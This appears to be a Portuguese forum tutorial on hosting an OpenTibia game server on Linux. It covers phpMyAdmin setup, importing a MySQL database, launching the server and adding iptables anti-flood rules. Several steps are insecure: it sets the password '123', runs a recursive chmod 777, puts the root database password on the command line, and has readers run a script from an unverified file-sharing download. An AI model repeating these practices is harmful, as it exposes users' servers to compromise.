    Normalmente quando você for abrir o server no linux pode da error de sencitive é quando Arquivo tem nomes com o formato diferenciado tipo:


    <globalevent name="record" type="record" event="script" value="Record.lua" />
    Ali você pode ver que ele procura por um arquivo chamado Record se na pasta script tiver o arquivo com o nome nesse formato record o Linux não vai encontrar os nomes tem que ser iguais o que tiver em maiusculo fica em maiusculo e minusculo fica em minusculo.

    A database eu faço da mesma forma do server primeiro configuro no computador exeporto e depois envio o arquvio .sql via ftp para maquina la boto o arquivo na pasta home e eu upo via comandos para a db Linux.

    Se você não tem phpmyadmin na sua maquina aqui vou dizer como instalar:

    Acesse a pasta com o comando:


    cd /var/wwwSe você ainda não estiver a pasta www é porque não tem apache na sua maquina ae se não tiver procura um tutorial no Google sobre isso.

    Baixe esse é o mais novo:

    wget http://downloads.sourceforge.net/project/phpmyadmin/phpMyAdmin/3.4.3.2/phpMyAdmin-3.4.3.2-all-languages.7z?r=http%3A%2F%2Fwww.phpmyadmin.net%2Fhome_page%2Fdownloads.php&ts=1314057325&use_mirror=ufpr
    Extraia:

    tar -zxvf phpMyAdmin-3.4.3.2-all-languages.7z
    Renomeie via ftp usando o f2 o nome da pasta para phpmyadmin ou outro nome qualquer que você quizer, eu particulamente sempre boto outros nomes.

    Após isso acesse da sua propia casa no seu navegador de internet o ip da maquina seguindo de phpmyadmin ou o nome que você botou exemplo:


    http://55.555.555.55/phpmyadmin
    La crie um banco de dados exemplo otserver. Feito isso ok voltamos para o shell lembra que agente botou o arquivo .sql na pasta home agora vamos upa ele para o phpmyadmin da maquina, comandos:


    cd /home
    psenha Ae você bota a senha do seu sql se você não sabe entre em contato com quem você alugou seu dedicado.

    mysql -u root -psenha
    Ae já ta na cara nem precisa explicar:

    USE seubancodedados

    source arquivo.sql
    Só esperar finalizar após concluir ok, database upada pode conferir pelo seu navegador de internet como todas as tabelas estarão la do jeito que você configurou no windows.

    A galera ae o resto vocês ja sabem sobre o config.lua, ip, rates, mysql configurações feito isso vamos abrir o server.

    Você ja testou o server em sua casa configurou a pasta data com o a mesma rev pronto enviar a pasta via ftp substituindo a pasta que existe la. Feito isso vamos para o shell acesse a pasta do ot:

    Se quizer renomeia a pasta para outro nome tipo 3777 da forma que ensinei via ftp.

    cd /home/forgottenserver-trunk.r3777
    Se aparecer algo bla bla (Y or N?) digita Y e da enter.

    ./theforgottenserver
    Ae vai abri normalmente aparece carregando o server se der algum erro vai dizer pra quem sabe ler vai ser moleza!
    Abriu o server entrou com seu god testou tudo ok agora vamos abrir o server oficial pra não cair e poder fechar o shell sem cair o ot.
    Vamos nois, no shell volte para o root usando:

    Até voltar ao root:

    cd ..
    Feito vamos para a pasta home:

    cd /home
    Vamos adicionar um usuario:

    adduser tfsNo caso ae o nome do usuario que estou adicionando é tfs pode ser otserver seu nome você escolhe, quando você executa o comando vai pedi uma senha bote 123 so digitar da enter vai pedi seu nome pais e talz bota nada não so da enter ate finalizar o processo feito isso ok.
    Agora baixe esse arquivo em seu computador extraia ele e envia por ftp para a pasta home:

    http://speedy.sh/Ta9mS/tfs.rar

    No shell execute:


    cd /home

    chmod 777 -R tfs
    Feito né? Ok agora vamos abrir o OT pra ele não fechar e quando ele cair por algum erro ele volta sozinho. Em root utilizando o shell execute os comandos:

    Isso indica que você esta utilizando o usuario tfs:

    su tfs

    cd /home/theforgottenserver

    ./theforgottenserver.sh&
    Ae ele começa a carrega normal e pronto the end acho que ja falei demais
    kkkkk valeu galera qualquer duvida posta ae acho que esqueci de umas coisas mais stress alto aqui te mais depois edito.

    Evite crash em seu ot por flood:(sempre que reniciar a maquina tem que executa os comandos)


    iptables -N conn-flood

    iptables -I INPUT 1 -p tcp --syn -j conn-flood

    iptables -A conn-flood -m limit --limit 7/s --limit-burst 20 -j RETURN

    iptables -A conn-flood -j DROP

    iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j ACCEPT

    iptables -A INPUT -p icmp -j DROP

    Creditos :
    OhGod
    Natan Bekman

Informação Importante

Confirmação de Termo